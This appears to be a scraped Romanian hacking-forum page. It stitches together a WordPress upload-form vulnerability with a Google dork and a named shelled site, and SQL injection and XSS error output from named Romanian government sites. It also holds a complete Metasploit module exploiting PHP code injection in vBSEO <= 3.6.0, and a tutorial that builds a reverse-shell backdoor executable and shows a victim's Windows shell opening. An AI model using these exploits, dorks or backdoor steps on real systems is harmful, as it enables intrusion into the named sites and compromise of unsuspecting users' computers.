[WordPress 3.2.1 upload form vuln :D]

# Exploit Title: [Wordpress Upload Form Vuln]

# Vendor or Software Link: none

# Version: 3.2.1

# Category:: [webapps,]

# Google dork: [inurl:/wp-content/plugins/easy-comment-uploads/upload-form.php]

# Tested on: [Windows XP Service Pack 3]

# Demo site: fashion-course.com - fashion-course Resources and Information.

Example: shell

fashion-course.com - fashion-course Resources and Information.

[sql http://www.mt.ro/ and xss vechie]

Ministerul Transporturilor si Infrastructurii - www.mt.ro'

Query failed with error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''dialog_social''' at line 1 + xss Ministerul Transporturilor si Infrastructurii - www.mt.ro

[[XSS]Jandarmeria Romana]

da sql nu mere forbiden

[[XSS]Jandarmeria Romana]

Good You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' and an = '' order by nume asc' at line 1

[Creaţi un Backdoor cu Metasploit]

debia am inceput sa invat metasploit

[vBSEO <= 3.6.0 "proc_deutf()" Remote PHP Code Injection Exploit]

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'vBSEO <= 3.6.0 "proc_deutf()" Remote PHP Code Injection',
            'Description'    => %q{
                    This module exploits a vulnerability in the 'proc_deutf()' function
                defined in /includes/functions_vbseocp_abstract.php. User input passed through
                'char_repl' POST parameter isn't properly sanitized before being used in a call
                to preg_replace() function which uses the 'e' modifier. This can be exploited to
                inject and execute arbitrary code leveraging the PHP's complex curly syntax.
            },
            'Author'         => 'EgiX <n0b0d13s[at]gmail.com>', # originally reported by the vendor
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision$',
            'References'     =>
                [
                    ['BID', '51647'],
                    ['URL', 'http://www.vbseo.com/f5/vbseo-security-bulletin-all-supported-versions-patch-release-52783/'],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'DisableNops' => true,
                    'Space'       => 8190,
                    'Keys'        => ['php'],
                },
            'Platform'       => ['php'],
            'Arch'           => ARCH_PHP,
            'Targets'        => [[ 'Automatic', { }]],
            'DisclosureDate' => 'Jan 23 2012',
            'DefaultTarget'  => 0))

            register_options(
                [
                    OptString.new('URI', [true, "The full URI path to vBulletin", "/vb/"]),
                ], self.class)
    end

    def check
        flag = rand_text_alpha(rand(10)+10)
        data = "char_repl='{${print(#{flag})}}'=>"

        uri = ''
        uri << datastore['URI']
        uri << '/' if uri[-1,1] != '/'
        uri << 'vbseocp.php'

        response = send_request_cgi({
            'method' => "POST",
            'uri' => uri,
            'data' => "#{data}"
        })

        if response.code == 200 and response.body =~ /#{flag}/
            return Exploit::CheckCode::Vulnerable
        end

        return Exploit::CheckCode::Safe
    end

    def exploit
        if datastore['CMD']
            p = "passthru(\"%s\");" % datastore['CMD']
            p = Rex::Text.encode_base64(p)
        else
            p = Rex::Text.encode_base64(payload.encoded)
        end

        data = "char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>"

        uri = ''
        uri << datastore['URI']
        uri << '/' if uri[-1,1] != '/'
        uri << 'vbseocp.php'

        response = send_request_cgi({
            'method' => 'POST',
            'uri' => uri,
            'data' => data,
            'headers' => { 'Code' => p }
        })

        print_status("%s" % response.body) if datastore['CMD']
    end

end

[Creaţi un Backdoor cu Metasploit]

msfpayload windows/shell_reverse_tcp LHOST=192.168.1.10 (ip) LPORT=31337 (port) X >/tmp/msn.exe (nume backdoor)

înainte ca cineva s?-l deschida trebuie sa setam msf.

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/shell/reverse_tcp

payload => windows/shell/reverse_tcp.

msf exploit(handler) > set LHOST 192.168.1.101

LHOST => 192.168.1.101

msf exploit(handler) > set LPORT 31337

LPORT => 31337

msf exploit(handler) > exploit

[*] Started reverse handler on port 31337

[*] Starting the payload handler…

sa vedem ce se întâmpl? atunci când victim? il deschide

[*] Sending stage (240 bytes)

[*] Command shell session 1 opened (192.168.1.10:31337 -> 192.168.1.253:1049)

Microsoft Windows XP [Versione 5.1.2600]

© Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\ago\Documenti\Download>